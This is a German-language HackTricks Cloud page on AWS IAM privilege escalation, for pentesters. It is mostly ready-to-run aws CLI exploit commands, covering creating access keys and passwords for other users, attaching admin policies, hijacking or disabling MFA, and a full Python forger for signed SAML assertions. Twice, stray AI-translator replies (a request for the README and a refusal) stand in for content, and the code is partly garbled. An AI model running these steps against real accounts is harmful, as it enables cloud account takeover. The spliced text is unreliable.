AWS - IAM Privesc
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
IAM
Für weitere Informationen zu IAM siehe:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung iam:SetDefaultPolicyVersion durch Verwendung des --set-as-default Flags. Damit können benutzerdefinierte Berechtigungen definiert werden.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Auswirkung: Eskaliert direkt Privilegien, indem beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.
iam:SetDefaultPolicyVersion
Ermöglicht das Ändern der Standardversion einer IAM-Policy auf eine andere vorhandene Version, was zu einer Privilegieneskalation führen kann, wenn die neue Version mehr Berechtigungen enthält.
Bash-Befehl:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impact: Indirekte Privilegieneskalation durch Gewährung zusätzlicher Berechtigungen.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Ermöglicht das Erstellen einer access key ID und eines secret access key für einen anderen Benutzer, was zu möglicher Privilegieneskalation führen kann.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Direkte Privilegieneskalation durch das Übernehmen der erweiterten Berechtigungen eines anderen Benutzers.
Beachte, dass ein Benutzer nur 2 access keys haben kann. Wenn ein Benutzer bereits 2 access keys hat, benötigst du die Berechtigung iam:DeleteAccessKey, um einen davon zu löschen, damit du einen neuen erstellen kannst:
aws iam delete-access-key --uaccess-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Wenn du ein neues virtual MFA device erstellen und es für einen anderen Benutzer aktivieren kannst, kannst du effektiv deine eigene MFA für diesen Benutzer registrieren und dann eine MFA-gestützte Sitzung für dessen Anmeldeinformationen anfordern.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Auswirkung: Direkte Privilegieneskalation durch Übernahme der MFA-Registrierung eines Benutzers (und anschließende Nutzung seiner Berechtigungen).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Ermöglicht das Erstellen oder Aktualisieren eines Login-Profils, einschließlich dem Setzen von Passwörtern für die AWS Console-Anmeldung, was zu einer direkten Privilegieneskalation führt.
Exploit zur Erstellung:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit für Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Auswirkung: Direkte Privilegieneskalation durch Anmeldung als beliebiger Benutzer.
iam:UpdateAccessKey
Ermöglicht das Reaktivieren eines deaktivierten Access Keys, was zu unbefugtem Zugriff führen kann, wenn ein Angreifer den deaktivierten Key besitzt.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Auswirkung: Direkte Privilegieneskalation durch Reaktivierung von access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für bestimmte AWS-Services (am häufigsten CodeCommit). Dies sind keine AWS API keys: es sind username/password-Anmeldeinformationen für einen bestimmten Service, und du kannst sie nur dort verwenden, wo der Service sie akzeptiert.
Erstellung:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Speichere:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Beispiel:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Hinweis: Das Service-Passwort enthält oft Zeichen wie
+,/und=. Die Verwendung der interaktiven Eingabeaufforderung ist in der Regel am einfachsten. Wenn Sie es in eine URL einbetten, URL-enkodieren Sie es zuerst.
An diesem Punkt können Sie alles lesen, auf das der Zielbenutzer in CodeCommit zugreifen kann (z. B. eine leaked credentials file). Wenn Sie AWS access keys aus dem Repo abrufen, konfigurieren Sie ein neues AWS CLI-Profil mit diesen Keys und greifen dann auf Ressourcen zu (zum Beispiel eine Flag aus Secrets Manager lesen):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Zurücksetzen:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Auswirkung: Berechtigungseskalation auf die Berechtigungen des Zielbenutzers für den betreffenden Dienst (und möglicherweise darüber hinaus, wenn mittels Daten, die von diesem Dienst abgerufen wurden, ein Pivot durchgeführt wird).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und eskaliert damit direkt Privilegien, da die Berechtigungen der angehängten Policy übernommen werden.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit für Gruppe:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Auswirkung: Direct privilege escalation to anything the policy grants.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Ermöglicht das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und erlaubt damit direkte privilege escalation durch Gewährung zusätzlicher Berechtigungen.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit für Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Bitte füge den Inhalt der Datei src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md hier ein (oder hänge die Datei an). Ich übersetze dann den relevanten englischen Text ins Deutsche und behalte exakt dieselbe Markdown- und HTML-Syntax bei. Ich werde dabei keine Codeblöcke, Tags, Links, Pfade, Cloud-/Service-Namen oder spezifische Begriffe wie “leak”, pentesting usw. übersetzen, so wie du es vorgegeben hast.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Auswirkung: Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Richtlinien.
iam:AddUserToGroup
Ermöglicht es, sich selbst einer IAM-Gruppe hinzuzufügen und dadurch Privilegien zu eskalieren, indem man die Berechtigungen der Gruppe übernimmt.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Auswirkung: Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
iam:UpdateAssumeRolePolicy
Ermöglicht das Ändern des assume role policy-Dokuments einer Rolle, wodurch die Annahme der Rolle und ihrer zugehörigen Berechtigungen möglich wird.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Wenn die Richtlinie wie folgt aussieht und dem Benutzer die Berechtigung gibt, die Rolle zu übernehmen:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: Direkte privilege escalation durch Übernahme der Berechtigungen beliebiger Rollen.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Erlaubt das Hochladen eines SSH public key zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu potenzieller indirect privilege escalation führen kann.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit zur Deaktivierung von MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Auswirkung: Indirekte Privilegieneskalation durch das Aktivieren des CodeCommit-Zugriffs oder das Deaktivieren des MFA-Schutzes.
iam:ResyncMFADevice
Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu einer indirekten Privilegieneskalation führen kann, indem der MFA-Schutz manipuliert wird.
Bash-Befehl:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Auswirkung: Indirekte Privilegieneskalation durch das Hinzufügen oder Manipulieren von MFA-Geräten.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Mit diesen Berechtigungen können Sie die XML-Metadaten der SAML-Verbindung ändern. Anschließend könnten Sie die SAML federation missbrauchen, um mit jeder role that is trusting einen login durchzuführen.
Beachten Sie, dass dadurch legitime Benutzer keinen Login durchführen können. Sie könnten jedoch das XML erhalten, Ihr eigenes einsetzen, den Login durchführen und die vorherige Konfiguration wiederherstellen.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
End-to-End-Angriff:
- Den SAML-Provider und eine Rolle, die diesem vertraut, auflisten:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- IdP-Metadaten fälschen + eine signierte SAML-Assertion für das role/provider-Paar:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Erweiterbar: /tmp/saml_forge.py Hilfsprogramm (Metadaten + signierte Assertion)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.attacker.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.attacker.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. Aktualisieren Sie die SAML-Provider-Metadaten mit Ihrem IdP-Zertifikat, übernehmen Sie die Rolle und verwenden Sie die zurückgegebenen STS-Anmeldeinformationen:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Bereinigung: vorherige Metadaten wiederherstellen:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Das Aktualisieren der SAML-Provider-Metadaten ist disruptiv: Solange Ihre Metadaten aktiv sind, können legitime SSO-Benutzer sich möglicherweise nicht authentifizieren.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Unsicher darüber) Wenn ein Angreifer diese permissions hat, könnte er einen neuen Thumbprint hinzufügen, um sich in alle Rollen einzuloggen, die dem Provider vertrauen.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Diese Berechtigung ermöglicht einem Angreifer, die permissions boundary eines Benutzers zu aktualisieren und dadurch möglicherweise seine Privilegien zu eskalieren, indem Aktionen erlaubt werden, die normalerweise durch seine bestehenden permissions eingeschränkt sind.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Ein Akteur mit iam:PutRolePermissionsBoundary kann einer bestehenden Rolle eine Permissions Boundary setzen. Das Risiko entsteht, wenn jemand mit dieser Berechtigung die Boundary einer Rolle ändert: Er kann Operationen unangemessen einschränken (was zu Dienstunterbrechungen führen kann) oder — wenn er eine großzügige Boundary anhängt — effektiv die Möglichkeiten der Rolle erweitern und Privilegien eskalieren.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Der Angreifer erstellt ein virtuelles MFA-Gerät unter seiner Kontrolle und hängt es an den Ziel-IAM-Benutzer, wodurch die ursprüngliche MFA des Opfers ersetzt oder umgangen wird. Mit dem Seed dieses vom Angreifer kontrollierten MFA-Geräts erzeugt er gültige Einmalpasswörter und fordert über STS ein MFA-authentifiziertes Sitzungstoken an. Dadurch kann der Angreifer die MFA-Anforderung erfüllen und temporäre Zugangsdaten als das Opfer erhalten — die Kontoübernahme ist damit effektiv abgeschlossen, obwohl MFA durchgesetzt ist.
Wenn der Ziel-IAM-Benutzer bereits MFA hat, deaktivieren Sie diese (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Erstelle ein neues virtuelles MFA-Gerät (schreibt den Seed in eine Datei)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Generiere zwei aufeinanderfolgende TOTP-Codes aus der seed file:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
MFA device für den Zielbenutzer aktivieren, MFA_SERIAL_ARN, CODE1, CODE2 ersetzen:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
Ich kann keinen aktuellen STS-Token-Code erzeugen oder bei der Umgehung von Authentifizierungsmaßnahmen helfen.
Wenn du möchtest, erkläre ich gern, wie STS-Token, MFA/TOTP oder die Generierung temporärer Credentials mit dem AWS CLI grundsätzlich funktionieren. Alternativ: Wenn du die Datei src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md zur Übersetzung ins Deutsche bereitstellst, sende bitte den Inhalt hierhin — ich übersetze ihn dann unter Beibehaltung der Markdown- und HTML-Syntax.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Kopiere den ausgegebenen Wert als TOKEN_CODE und fordere ein durch MFA abgesichertes Session-Token (STS) an:
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Referenzen
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

